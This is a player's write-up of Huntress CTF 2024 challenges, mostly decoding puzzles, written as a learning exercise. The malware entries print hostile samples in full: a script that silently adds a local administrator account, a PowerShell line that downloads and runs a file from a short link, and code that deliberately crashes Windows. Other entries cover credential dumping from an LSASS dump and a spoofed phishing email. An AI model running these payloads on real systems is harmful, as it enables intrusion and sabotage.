Huntress CTF 2024 : Writeups
October is Cybersecurity Awareness Month, Huntress CTF, is a month-long competition of daily challenges designed for experts and enthusiasts alike.
1 Oct, 2024
Huntress CTF 2024
User: ha1fdan
Total Score: 1550 points @ 453rd place
I stopped solving challenges after October 22nd, since I went on vacation and didn’t have time to solve them.
Solves:
Challenge | Category |
---|---|
Technical Support | Warmups |
Too Many Bits | Warmups |
Read The Rules | Warmups |
MatryoshkaQR | Warmups |
Base64by32 | Scripting |
Cattle | Warmups |
Nightmare on Hunt Street | Challenge Group - Forensics |
No need for Brutus | Cryptography |
Strange Calc | Malware |
Russian Roulette | Malware |
Whamazon | Warmups |
Red Phish Blue Phish | Miscellaneous |
Unbelievable | Warmups |
Malibu | Miscellaneous |
TXT Message | Warmups |
Mimi | Malware |
Discount Programming Devices | Malware |
Mystery | Warmups |
I Can’t SSH | Warmups |
Finders Fee | Warmups |
Zulu | Warmups |
Linux Basics | Miscellaneous |
Keyboard Junkie | Forensics |
Obfuscation Station | Forensics |
Strive Marish Leadman TypeCDR | Cryptography |
Score over time:
Completed Challenges:
Technical Support
Want to join the party of GIFs, memes and emoji shenanigans? Or just want to ask a question for technical support regarding any challenges in the CTF?
https://huntress.ctf.games/discord
Flag: flag{a98373a74abb8c5ebb8f5192e034a91c}
Too Many Bits
What do all these ones and zero’s mean!?! We are in the Warmups category after all…
01100110 01101100 01100001 01100111 01111011 01100100 00110000 00110001 00110100 00110111 00110001 00110111 00110000 00110010 01100001 00110001 00110000 00110001 00110011 00110100 01100011 01100100 01100001 01100100 00110001 01100100 01100100 01100100 01100101 00110000 00110110 00110110 00110111 00111000 01100110 00110010 01100110 01111101
Using https://cyberchef.org I selected From Binary to decode the binary to text. Full Recipe link: Here
Flag: flag{d01471702a10134cdad1ddde06678f2f}
Read The Rules
Please follow the rules for this CTF! https://huntress.ctf.games/rules
By viewing the pages source code, we can find the flag.
<!-- Thank you for reading the rules! Your flag is: -->
<!-- flag{90bc54705794a62015369fd8e86e557b} -->
Flag: flag{90bc54705794a62015369fd8e86e557b}
MatryoshkaQR
Wow! This is a big QR code! I wonder what it says…?
Attachments: qrcode.png
The first thing I did was to use CyberChef’s Parse QR Code function to get the contents of the QR-code. I then wrote a little Python script to write the binary data to a file.
data = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00'\x00\x00\x00'\x01\x00\x00\x00\x00\xa4\xd8l\x98\x00\x00\x00\xf5IDATx\x9c\x01\xea\x00\x15\xff\x01\xff\x00\x00\x00\xff\x00\x80\xa2\xd9\x1a\x02\x00\xbe\xe6T~\xfa\x04\xe4\xff\x0fh\x90\x02\x00\x1a\x7f\xdc\x00\x02\x00\xde\x01H\x00\x00\xbe\xd5\x95J\xfa\x04\xc2*\x15`\x08\x00\xff\x9d.\x9f\xfe\x04\xfd#P\xc3\x0b\x02\x97\x0e:\x07d\x04/vIg\x19\x00\xbb\xcd\xf3-\xd2\x02\xfb\xd6d\xb5\x88\x02E\xc7^\xdf\xfc\x00\x84\xfb\x13\xf3J\x02\xfd\x88a\xefD\x00\xc8t$\x90\n\x01\xc7\x01\xee1\xf7\x043Q\x17\x0cH\x01\xa5\x03\x1c6d\x02\r\xf0\xbfV$\x00\xcf\x13d3\x06\x01\xee\x08J\xf5E\x00\x9b\xee\n\xac\xfa\x01\xea|\xf2\xe86\x04\xb3\xc9\x84\xf7\xb4\x02\t\x90U%\x14\x00\xbf g\xa5\xee\x02\xfbH\xf1#4\x00\xff\xa1!;\x86\x02\x81VB\xdf\xfc\x04>\xb1s\x00\x10\x02\xe4>\xab-p\x00\xa2\xc6\xfe\xf6\xee\x04\x00\x05\xcbl5\x02\x1c\xfc\x85;\xd0\x02\xc2\xfb\xe6A\x00\x01\xff\x00\x00\x00\xff\xf9\xdb_g\xf4\x9a\xddH\x00\x00\x00\x00IEND\xaeB`\x82"
with open("img.png", "wb") as f:
f.write(data)
The new image is also a QR-code, so using CyberChef’s Parse QR Code function again, we can get the contents of the QR-code wich is the flag.
Flag: flag{01c6e24c48f48856ee3adcca00f86e9b}
Base64by32
This is a dumb challenge. I’m sorry.
Attachments: base64by32.zip
Extracting base64by32 from the zip archive, we get a very big ASCII text file.
I made a litte script to decode it. The challange is named base64 by 32. Therefore i decided to use decode the contents with base64 32 times.
import base64
with open("base64by32", 'r') as f:
data = ''.join(line.strip() for line in f)
for _ in range(32):
data = base64.b64decode(data.encode('utf-8')).decode('utf-8')
print(data)
Flag: flag{8b3980f3d33f2ad2f531f5365d0e3970}
Cattle
I know it’s an esoteric challenge for a Capture the Flag, but could you herd these cows for me?
Attachments: cattle
Cows you say? Sounds and looks like the COW programming language. https://esolangs.org/wiki/COW
Lets use a COW Code decrypter like https://www.cachesleuth.com/cow.html
Flag: flag{6cd6392eb609c6ae4c332ef6a321d9dd}
Nightmare on Hunt Street
DeeDee hears the screams, In the logs, a chilling trace— Freddy’s waiting near.
Are you able to unravel the attack chain?
Attachments: logs-parts1-5.zip
-
What is the IP address of the host that the attacker used? Using a regex search I found
10.1.1.42
is the IP address of the host that the attacker used. Flag:flag{10.1.1.42}
-
How many times was the compromised account brute-forced? Searching for
Failure Reason: Unknown user name or bad password.
we get 32 results. Flag:flag{32}
-
What is the name of the offensive security tool that was used to gain initial access? PsExec is known for executing commands on remote systems, it can also be used to gain initial access when exploiting existing credentials or configurations. Flag:
flag{psexec}
-
How many unique enumeration commands were run with net.exe? 3 distinct commands:
net users
,net localgroup
, andnet share
. Flag:flag{3}
-
What password was successfully given to the user created? When I where searching around in the file I found a lot of
net user
commands and the password wasSusan123!
. Flag:flag{Susan123!}
No need for Brutus
A simple message for you to decipher:
squiqhyiiycfbudeduutvehrhkjki
Submit the original plaintext hashed with MD5, wrapped between the usual flag format: flag{}
Brutus = Roman name, cipher is another famous Roman = Caesar Cipher: https://en.wikipedia.org/wiki/Caesar_cipher
From there I used https://www.dcode.fr/caesar-cipher to decipher the message, wich gave me caesarissimplenoneedforbrutus
- MD5 hash of the plaintext.
Flag: flag{c945bb2173e7da5a292527bbbc825d3f}
Strange Calc
I got this new calculator app from my friend! But it’s really weird, for some reason it needs admin permissions to run??
NOTE: Archive password is strange_calc
Attachments: calc.zip
I started by running file calc.exe
wich returned a PE32 executable, UPX compressed.
Using apt install upx-ucl
and upx -d calc.exe
we can uncompress the file. You should see the following -> Unpacked 1 file.
Next I used https://app.any.run to run the application, after executing the exe It made some network requests and downloaded some encoded VBScript files, downloading one of them, I opened it using https://cyberchef.org/'s Microsoft Script Decoder. That gave me:
function a(b){var c="",d=b.split("\n");for(var e=0;e<d.length;e++){var f=d[e].replace(/^\s+|\s+$/g,'');if(f.indexOf("begin")===0||f.indexOf("end")===0||f==="")continue;var g=(f.charCodeAt(0)-32)&63;for(var h=1;h<f.length;h+=4){if(h+3>=f.length)break;var i=(f.charCodeAt(h)-32)&63,j=(f.charCodeAt(h+1)-32)&63,k=(f.charCodeAt(h+2)-32)&63,l=(f.charCodeAt(h+3)-32)&63;c+=String.fromCharCode((i<<2)|(j>>4));if(h+2<f.length-1)c+=String.fromCharCode(((j&15)<<4)|(k>>2));if(h+3<f.length-1)c+=String.fromCharCode(((k&3)<<6)|l)}}return c.substring(0,g)}var m="begin 644 -\nG9FQA9WLY.3(R9F(R,6%A9C$W-3=E,V9D8C(X9#<X.3!A-60Y,WT*\n`\nend";var n=a(m);var o=["net user LocalAdministrator "+n+" /add","net localgroup administrators LocalAdministrator /add","calc.exe"];var p=new ActiveXObject('WScript.Shell');for(var q=0;q<o.length-1;q++){p.Run(o[q],0,false)}p.Run(o[2],1,false);
Rewriting this to Python:
def decode(encoded_string):
result = ""
lines = encoded_string.split("\n")
for line in lines:
line = line.strip()
if line.startswith("begin") or line.startswith("end") or line == "":
continue
g = (ord(line[0]) - 32) & 63
for h in range(1, len(line), 4):
if h + 3 >= len(line):
break
i = (ord(line[h]) - 32) & 63
j = (ord(line[h + 1]) - 32) & 63
k = (ord(line[h + 2]) - 32) & 63
l = (ord(line[h + 3]) - 32) & 63
result += chr((i << 2) | (j >> 4))
if h + 2 < len(line) - 1:
result += chr(((j & 15) << 4) | (k >> 2))
if h + 3 < len(line) - 1:
result += chr(((k & 3) << 6) | l)
return result
m = """begin 644 -
G9FQA9WLY.3(R9F(R,6%A9C$W-3=E,V9D8C(X9#<X.3!A-60Y,WT*
`
end"""
print(decode(m))
Running this we get the flag.
Flag: flag{9922fb21aaf1757e3fdb28d7890a5d93}
Russian Roulette
My PowerShell has been acting really weird!! It takes a few seconds to start up, and sometimes it just crashes my computer!?!?! :(
WARNING: Please examine this challenge inside of a virtual machine for your own security. Upon invocation there is a real possibility that your VM may crash.
NOTE: Archive password is russian_roulette
Attachments: russian_roulette.zip
Starting off we extract a MS Windows shortcut file, that when run runs: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -e aQB3AHIAIABpAHMALgBnAGQALwBqAHcAcgA3AEoARAAgAC0AbwAgACQAZQBuAHYAOgBUAE0AUAAvAC4AYwBtAGQAOwAmACAAJABlAG4AdgA6AFQATQBQAC8ALgBjAG0AZAA=
. If we decode that base64 string using python:
import base64
encoded_string = "aQB3AHIAIABpAHMALgBnAGQALwBqAHcAcgA3AEoARAAgAC0AbwAgACQAZQBuAHYAOgBUAE0AUAAvAC4AYwBtAGQAOwAmACAAJABlAG4AdgA6AFQATQBQAC8ALgBjAG0AZAA="
decoded_bytes = base64.b64decode(encoded_string)
decoded_string = decoded_bytes.decode('utf-16')
print(decoded_string)
Returns: iwr is.gd/jwr7JD -o $env:TMP/.cmd;& $env:TMP/.cmd
. Visiting https://is.gd/jwr7JD we get a powershell.zip
file, rename that to powershell.cmd
.
NOTE: If the is.gd site is down, you can download the powershell.zip
file from here
Next I once again used https://app.any.run, here I got a new payload:
powershell -e JABzAD0AJwB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQA7AHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAA7AHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkAOwB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwA7AHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4ASQBPADsAcAB1AGIAbABpAGMAIABjAGwAYQBzAHMAIABYAHsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAdQBpAG4AdAAgAFIAdABsAEEAZABqAHUAcwB0AFAAcgBpAHYAaQBsAGUAZwBlACgAaQBuAHQAIABwACwAYgBvAG8AbAAgAGUALABiAG8AbwBsACAAYwAsAG8AdQB0ACAAYgBvAG8AbAAgAG8AKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAG4AdABkAGwAbAAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAHUAaQBuAHQAIABOAHQAUgBhAGkAcwBlAEgAYQByAGQARQByAHIAbwByACgAdQBpAG4AdAAgAGUALAB1AGkAbgB0ACAAbgAsAHUAaQBuAHQAIAB1ACwASQBuAHQAUAB0AHIAIABwACwAdQBpAG4AdAAgAHYALABvAHUAdAAgAHUAaQBuAHQAIAByACkAOwBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAdQBuAHMAYQBmAGUAIABzAHQAcgBpAG4AZwAgAFMAaABvAHQAKAApAHsAYgBvAG8AbAAgAG8AOwB1AGkAbgB0ACAAcgA7AFIAdABsAEEAZABqAHUAcwB0AFAAcgBpAHYAaQBsAGUAZwBlACgAMQA5ACwAdAByAHUAZQAsAGYAYQBsAHMAZQAsAG8AdQB0ACAAbwApADsATgB0AFIAYQBpAHMAZQBIAGEAcgBkAEUAcgByAG8AcgAoADAAeABjADAAMAAwADAAMAAyADIALAAwACwAMAAsAEkAbgB0AFAAdAByAC4AWgBlAHIAbwAsADYALABvAHUAdAAgAHIAKQA7AGIAeQB0AGUAWwBdAGMAPQBDAG8AbgB2AGUAcgB0AC4ARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAUgBOAG8AOABUAFoANQA2AFIAdgArAEUAeQBaAFcANwAzAE4AbwBjAEYATwBJAGkATgBGAGYATAA0ADUAdABYAHcAMgA0AFUAbwBnAEcAZABIAGsAcwB3AGUAYQAvAFcAaABuAE4AaABDAE4AdwBqAFEAbgAxAGEAVwBqAGYAdwAiACkAOwBiAHkAdABlAFsAXQBrAD0AQwBvAG4AdgBlAHIAdAAuAEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAiAC8AYQAxAFkAKwBmAHMAcABxAC8ATgB3AGwAYwBQAHcAcABhAFQAMwBpAHIAWQAyAGgAYwBFAHkAdABrAHQAdQBIADcATABzAFkAKwBOAGwATABlAHcAPQAiACkAOwBiAHkAdABlAFsAXQBpAD0AQwBvAG4AdgBlAHIAdAAuAEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAiADkAcwBYAEcAbQBLADQAcQA5AEwAZABZAEYAZABPAHAANABUAFMAcwBRAHcAPQA9ACIAKQA7AHUAcwBpAG4AZwAoAEEAZQBzACAAYQA9AEEAZQBzAC4AQwByAGUAYQB0AGUAKAApACkAewBhAC4ASwBlAHkAPQBrADsAYQAuAEkAVgA9AGkAOwBJAEMAcgB5AHAAdABvAFQAcgBhAG4AcwBmAG8AcgBtACAAZAA9AGEALgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoAGEALgBLAGUAeQAsAGEALgBJAFYAKQA7AHUAcwBpAG4AZwAoAHYAYQByACAAbQA9AG4AZQB3ACAATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKABjACkAKQB1AHMAaQBuAGcAKAB2AGEAcgAgAHkAPQBuAGUAdwAgAEMAcgB5AHAAdABvAFMAdAByAGUAYQBtACgAbQAsAGQALABDAHIAeQBwAHQAbwBTAHQAcgBlAGEAbQBNAG8AZABlAC4AUgBlAGEAZAApACkAdQBzAGkAbgBnACgAdgBhAHIAIABzAD0AbgBlAHcAIABTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAHkAKQApAHsAcgBlAHQAdQByAG4AIABzAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApADsAfQB9AH0AfQAnADsAJABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AQwBvAGQAZQBEAG8AbQAuAEMAbwBtAHAAaQBsAGUAcgAuAEMAbwBtAHAAaQBsAGUAcgBQAGEAcgBhAG0AZQB0AGUAcgBzADsAJABjAC4AQwBvAG0AcABpAGwAZQByAE8AcAB0AGkAbwBuAHMAPQAnAC8AdQBuAHMAYQBmAGUAJwA7ACQAYQA9AEEAZABkAC0AVAB5AHAAZQAgAC0AVAB5AHAAZQBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJABzACAALQBMAGEAbgBnAHUAYQBnAGUAIABDAFMAaABhAHIAcAAgAC0AUABhAHMAcwBUAGgAcgB1ACAALQBDAG8AbQBwAGkAbABlAHIAUABhAHIAYQBtAGUAdABlAHIAcwAgACQAYwA7AGkAZgAoACgARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0ATQBpAG4AIAAxACAALQBNAGEAeAAgADcAKQAgAC0AZQBxACAAMQApAHsAWwBYAF0AOgA6AFMAaABvAHQAKAApAH0AUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACIA
Decodes to:
$s='using System;using System.Text;using System.Security.Cryptography;using System.Runtime.InteropServices;using System.IO;public class X{[DllImport("ntdll.dll")]public static extern uint RtlAdjustPrivilege(int p,bool e,bool c,out bool o);[DllImport("ntdll.dll")]public static extern uint NtRaiseHardError(uint e,uint n,uint u,IntPtr p,uint v,out uint r);public static unsafe string Shot(){bool o;uint r;RtlAdjustPrivilege(19,true,false,out o);NtRaiseHardError(0xc0000022,0,0,IntPtr.Zero,6,out r);byte[]c=Convert.FromBase64String("RNo8TZ56Rv+EyZW73NocFOIiNFfL45tXw24UogGdHkswea/WhnNhCNwjQn1aWjfw");byte[]k=Convert.FromBase64String("/a1Y+fspq/NwlcPwpaT3irY2hcEytktuH7LsY+NlLew=");byte[]i=Convert.FromBase64String("9sXGmK4q9LdYFdOp4TSsQw==");using(Aes a=Aes.Create()){a.Key=k;a.IV=i;ICryptoTransform d=a.CreateDecryptor(a.Key,a.IV);using(var m=new MemoryStream(c))using(var y=new CryptoStream(m,d,CryptoStreamMode.Read))using(var s=new StreamReader(y)){return s.ReadToEnd();}}}}';$c=New-Object System.CodeDom.Compiler.CompilerParameters;$c.CompilerOptions='/unsafe';$a=Add-Type -TypeDefinition $s -Language CSharp -PassThru -CompilerParameters $c;if((Get-Random -Min 1 -Max 7) -eq 1){[X]::Shot()}Start-Process "powershell.exe"
Now using a bit of python we can decode the base64 Cipher using the given AES key and iv:
import base64
from Crypto.Cipher import AES
import hashlib
from Crypto.Util.Padding import unpad
cipher_text_base64 = "RNo8TZ56Rv+EyZW73NocFOIiNFfL45tXw24UogGdHkswea/WhnNhCNwjQn1aWjfw"
key_base64 = "/a1Y+fspq/NwlcPwpaT3irY2hcEytktuH7LsY+NlLew="
iv_base64 = "9sXGmK4q9LdYFdOp4TSsQw=="
cipher_text = base64.b64decode(cipher_text_base64)
key = base64.b64decode(key_base64)
iv = base64.b64decode(iv_base64)
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted = unpad(cipher.decrypt(cipher_text), AES.block_size)
decrypted_text = decrypted.decode('utf-8')
print(decrypted_text)
Flag: flag{4e4f266d44717ff3af8bd92d292b79ec}
Whamazon
Wham! Bam! Amazon is entering the hacking business! Can you buy a flag?
What's up, Whammy? What do you wanna do?
1. Examine your Inventory
2. Buy from Whamazon
3. Quit
> 2
Woohoo! We are where it's at: WHAMAZON!
What would you like to buy?
!! You have: 50 dollars in your wallet !!
1. Apples
2. Oranges
3. Video Games
4. Game Console
5. Television
6. House
7. The Flag
8. "Nothing, I want to leave"
> 2
The 'Oranges' item costs 2 dollars.
How many of the 'Oranges' items would you like ?
> -100000000000000000000000000000000000000000000000
Crunching the numbers...
2 dollars x -100000000000000000000000000000000000000000000000 = -200000000000000000000000000000000000000000000000 subtracted from your wallet!
!! You have: 200000000000000000000000000000000000000000000050 dollars in your wallet !!
1. Apples
2. Oranges
3. Video Games
4. Game Console
5. Television
6. House
7. The Flag
8. "Nothing, I want to leave"
> 7
The 'The Flag' item costs 1000000000 dollars.
How many of the 'The Flag' items would you like ?
> 1
Crunching the numbers...
1000000000 dollars x 1 = 1000000000 subtracted from your wallet!
Wait a second Whammy... you wanna buy THE FLAG???
This is our most valued item! I won't give it up without an intense game of
ROCK PAPER SCISSORS!
You know how to play, right? A player can pick just one of three choices!
... Rock beats Paper
... Paper beats Scissors
... Scissors beats Rock
Let's play! First, here are some jedi-mind game tricks to throw you off...
"I, your opponent, will NOT choose Scissors!!"
?? What is your choice ??
1. Rock
2. Paper
3. Scissors
4. "Nevermind, I don't wanna play"
> 2
"Rock... Paper... Scissors... SHOOT!
You chose Paper and I chose Rock!
OH NO! I lost! Fine, you can have your silly flag... BUT JUST ONE!!
!! The Flag has been added to your inventory !!
Okay, see you later Whammy!
1. Examine your Inventory
2. Buy from Whamazon
3. Quit
> 1
We got all the deets on what's what in your inventory:
------------------------
-100000000000000000000000000000000000000000000000 x Oranges: A juicy orange orange. Orange orange? Orange orange: orange orange. Orange!
1 x The Flag: A flag you can submit for points in a CTF! It says: flag{18bdd83cee5690321bb14c70465d3408}
1. Examine your Inventory
2. Buy from Whamazon
3. Quit
In this challange we are able to buy a negative amount of a product, resulting adding to our wallet.
Flag: flag{18bdd83cee5690321bb14c70465d3408}
Red Phish Blue Phish
You are to conduct a phishing excercise against our client, Pyrch Data.
We’ve identified the Marketing Director, Sarah Williams ([email protected]), as a user susceptible to phishing.
Are you able to successfully phish her? Remember your OSINT ;)
If we start by taking a look at the user’s email, we can see that she has an email address of [email protected]
. Looking on the https://pyrchdata.com website, we can see that there is a list of all the members of the team. Since Sarah Williams is [email protected], we can try all the other co-workers first initial and their lastname.
Using a python script, we can send a message to Sarah Williams:
import smtplib
from email.mime.text import MIMEText
receiver_email = "[email protected]"
sender_email = "[email protected]"
smtp_server = "challenge.ctf.games"
smtp_port = 32131
message = MIMEText("")
message['From'] = sender_email
message['To'] = receiver_email
message['Subject'] = ""
server = smtplib.SMTP(smtp_server, smtp_port)
text = message.as_string()
server.set_debuglevel(1)
server.sendmail(sender_email, receiver_email, message.as_string())
server.quit()
Here I tried every team member first initial and lastname, until I got one that worked.
Conclusion:
I think this was a poor challenge, since it took a few days of guessing to even find the right path.
Flag: flag{54c6ec05ca19565754351b7fcf9c03b2}
Unbelievable
Don’t believe everything you see on the Internet!
Anyway, have you heard this intro soundtrack from Half-Life 3?
Attachments: Half-Life_3_OST.mp3
The first thing I saw was the preview image for the song track was a white image with some text, saying flag{.....
.
Using CyberChef's Render Image & Optical Character Recognition features in a recipe, and input the mp3 file, we can extract the flag.
Output:
and
Confidence: 46%
flag{a85466991f0a8dc3d9837a5c32fa0c91}
Flag: flag{a85466991f0a8dc3d9837a5c32fa0c91}
Malibu
What do you bring to the beach?
Connect with: nc challenge.ctf.games 30860
If we open the subdomain and port in a webbrowser we get the following:
<?xml version="1.0" encoding="UTF-8"?>
<Error>
<Code>AccessDenied</Code>
<Message>Access Denied.</Message>
<Resource>/</Resource>
<RequestId>17FBD57923D42426</RequestId>
<HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId>
</Error>
Now this looks like a object storage server, looking at the Server header, we see that it is a Server: MinIO
server.
Downloading the MinIO Client, we can run the following command: mc alias set myminio http://challenge.ctf.games:30860
Now back to the question: What do you bring to the beach? - A bucket ofc.
Now using the MinIO client, we can download all the files in the bucket:
mkdir -p ./bucket
mc cp --recursive myminio/bucket/ ./bucket/
grep -r "flag{" ./bucket/
Returns:
./bucket/0XMGjs59/NYdFEiGV/ZX64Llnw/1li1bQeT2JK5hgOD:hCd9adcRPndaCWVe6bLIDNrYEH8wpXYa65XdLNyq3XD6CPsnAaavGnePHKAxfPBMZaYBYFVWQ6b6UzWqiD8LTqU6TEPTR9GkF5HtvrVFW2QsY9ddLDPj5THZYtLjv2dt0iYEZqonP0vdOteR8ivAPb1cWDhdjZSnrzoiMkACPAxHiMGxqrhc7y7VVSqxFeQpTlt7lDGJ4qIN20bXjH8Dd9IhvsSyATOzwilL9bQmwpekFLkJt8CFeRYhFIOhYAmhswuwP9tqBl8DvnMeUt03Uv5dLZpLyGzWuTXzEqOAPbgB9DO5AfOgQMqmfqhRKUJjp5nGJNiGF9Va5iSHWEuQgXHhqphTjFJ2UYzNzLqSTkZZz9TRNX0JEbUU5AmvUKV2PuYTnUPhRHJQO7p4rUprbfxaGp9FG4sjb17VtCGuBxYOHjbBWULbObRp8CGa0lrcC7x7ryrFtWVS5KrnxPeGxmKUXx24xwzzEScnwEBzvW5ZimiJDWMLQIYUhs3TSJ1nfGA5pIT4ren12xYCRKJHYTDk4ahkdGHflag{800e6603e86fe0a68875d3335e0daf81}dEcForVzAkJqgMnGR97Re2ZHrSRoOwIXVVem8F5PvSGS5ATuuDngCTh6IhokbUN8Jkkf9kSrCeUgRd5p7650rCSEW8wNhczUcZt2qWfUhnlypNNm59fardN9vwRzw4YEO01bF8UJr346POWnpYkxrBgHJl53S9UygSKdGybQWUVsUIfgsMPouUgYdlavbHUONaYUYEjg3yiPOP91oceCcvq49G2VHzO9aQawz0WLboszptXYPDYEQDHuFl5l9gDD1uUmEYMFFA0gUa5UsLBp0cNkCuyQKIuEFKJyTPTGiduv8t9ZTZm6MRkjP5LL0Ke6YU8lb5M70AcAUVIEDvzYdRHKtTMMKvZplo1CxvpNHwCxsIvjNqJnvLabPYDxwELiI9Cr6lvT9djcFKfZ6DFcOLb9JXMibnGE8JKmC0jPgYzxjVz81LyU8aYNIWgwgeg25PfOyDatJxGcgUCY20W7gHXfT0wQxdpN8TkTjAGpX2mlf9irP1wngMkiXUzCugNhYz1IZj8n8q6qLvagnvCP2VnRp6XbJBo9A2Bt1IUqfeGMTuJKKcUli0w7PAo9XMq0rw1xFGk8N2Le9W2AsJFKTGKd7dhSTPTcSihM8K06FYh3EMtjwZVZoK0mxg2cGlbHWZzHXZjMkBiJmL5r9CjXizonCzetfyWEhGbFQASYH83SQpGebQnFm8oFlEtffkRWv9wrtBW2exlIkxwrIiE5zU75a6rAsN8gaSsBfGbQnK1GmtEP2RaI9k9N9wVFiS2IgRmUcdno0BVAzhL6LCFwvjTGNyOld3xSPE0X9hCxJ8CYMknrwq5Wr1ciNi72Om
Flag: flag{800e6603e86fe0a68875d3335e0daf81}
TXT Message
Hmmm, have you seen some of the strange DNS records for the ctf.games domain? One of them sure is odd…
Using nslookup we can see that the TXT record for the domain is:
halfdan@desktop:~$ nslookup
> set type=txt
> ctf.games
Server: 127.0.0.53
Address: 127.0.0.53#53
Non-authoritative answer:
ctf.games text = "146 154 141 147 173 061 064 145 060 067 062 146 067 060 065 144 064 065 070 070 062 064 060 061 144 061 064 061 143 065 066 062 146 144 143 060 142 175"
Authoritative answers can be found from:
> ^D
Now we have a list of numbers to work with, but we need to convert them to ASCII characters. Opening CyberChef and adding From Octal
to the recipe, we get: flag{14e072f705d45882401d141c562fdc0b}
Flag: flag{14e072f705d45882401d141c562fdc0b}
Discount Programming Devices
I used a tool on the internet to obfuscate my script! But I lost it, and I don’t know how to get it back. Maybe you can help?
Attachments: oops.py
For this challange I found a Stackoverflow page that had a simple “monkey-patching” technique. Here. Since the post was asked the day I found it, I think it was for the Huntress CTF.
Here is the solution: oops-solve.py
Flag: flag{2543ff1e714bC2eb9ff78128232785ad}
Mimi
Uh oh! Mimi forgot her password for her Windows laptop!
Luckily, she dumped one of the crucial processes running on her computer (don’t ask me why, okay)… can you help her recover her password?
NOTE: Archive password is mimi
Attachments: mimi.7z
For this challange I started by running file mimi
. Great! This is a Mini DuMP crash report
. Using pypykatz we can now run: pypykatz lsa minidump mimi | grep "flag{"
, this returns:
NFO:pypykatz:Parsing file mimi
password flag{7a565a86761a2b89524bf7bb0d19bcea}
password flag{7a565a86761a2b89524bf7bb0d19bcea}
password flag{7a565a86761a2b89524bf7bb0d19bcea}
password flag{7a565a86761a2b89524bf7bb0d19bcea}
If we did not grep, we could find the flag/password under a LoginSession like this:
== LogonSession ==
authentication_id 709744 (ad470)
session_id 1
username mimi
domainname windows11
logon_server WINDOWS11
logon_time 2024-09-10T02:32:50.802254+00:00
sid S-1-5-21-940291183-874774319-2012240919-1002
luid 709744
== MSV ==
Username: mimi
Domain: windows11
LM: NA
NT: 5e088b316cc30d7b2d0158cb4bd9497c
SHA1: c1bd67cf651fdbcf27fd155f488721f52fff64fa
DPAPI: c1bd67cf651fdbcf27fd155f488721f52fff64fa
== WDIGEST [ad470]==
username mimi
domainname windows11
password flag{7a565a86761a2b89524bf7bb0d19bcea}
password (hex)66006c00610067007b00370061003500360035006100380036003700360031006100320062003800390035003200340062006600370062006200300064003100390062006300650061007d0000000000
Flag: flag{7a565a86761a2b89524bf7bb0d19bcea}
Mystery
Someone sent this to me… such enigma, such mystery:
rkenr wozec gtrfl obbur bfgma fkgyq ctkvq zeucz hlvwx yyzat zbvns kgyyd sthmi vsifc ovexl zzdqv slyir nwqoj igxuu kdqgr fdbbd njppc mujyy wwcoy
Settings as below:
- 3 Rotor Model
- Rotor 1: VI, Initial: A, Ring A
- Rotor 2: I, Initial: Q, Ring A
- Rotor 3: III, Initial L, Ring A
- Reflector: UKW B
- Plugboard:
BQ CR DI EJ KW MT OS PX UZ GH
I quickly spottet that this was enigma machine code and using py-enigma we can write a simple python script to decode the ciphertext.
from enigma.machine import EnigmaMachine
# Define the Enigma settings
machine = EnigmaMachine.from_key_sheet(
rotors='VI I III',
reflector='B',
ring_settings='01 01 01', # Ring A means 01
plugboard_settings='BQ CR DI EJ KW MT OS PX UZ GH'
)
# Set rotor positions
machine.set_display('AQL') # Rotor 1: A, Rotor 2: Q, Rotor 3: L
ciphertext = "rkenr wozec gtrfl obbur bfgma fkgyq ctkvq zeucz hlvwx yyzat zbvns kgyyd sthmi vsifc ovexl zzdqv slyir nwqoj igxuu kdqgr fdbbd njppc mujyy wwcoy"
plaintext = machine.process_text(ciphertext.replace(' ', '').upper())
print(plaintext.lower())
This leaves us with: messagewrappedinlighthiddendeeperoutofsightlockingitmoretightanywayyourflagishereflagfdfeabcacbebfbadaefbeccaadddbafezzz
Adding some spaces and we get: message wrapped in light hidden deeper out of sight locking it more tight anyway your flag is here flagfdfeabcacbebfbadaefbeccaadddbafezzz
Flag: flag{fdfeabcacbebfbadaefbeccaadddbafe}
Ran Somewhere
Thanks for joining the help desk! Here’s your first ticket of the day; can you help the client out?
NOTE, this challenge uses a non-standard flag format. Enter the human-readable name of the location.
Attachments: ran_somewhere.eml
Opening the email, we can extract 2 images from base64:
and
Now using https://geospy.web.app/ we can narrow down the location of the image, and using Google Lens I found this image:
Flag: flag{Bel Air Armory}
I Can’t SSH
I’ve got this private key… but why can’t I SSH?
Attachments: id_rsa
So I belive that there is some sort of invalid characters in the private key, making it corupted.
I solved this challenge using nano id_rsa
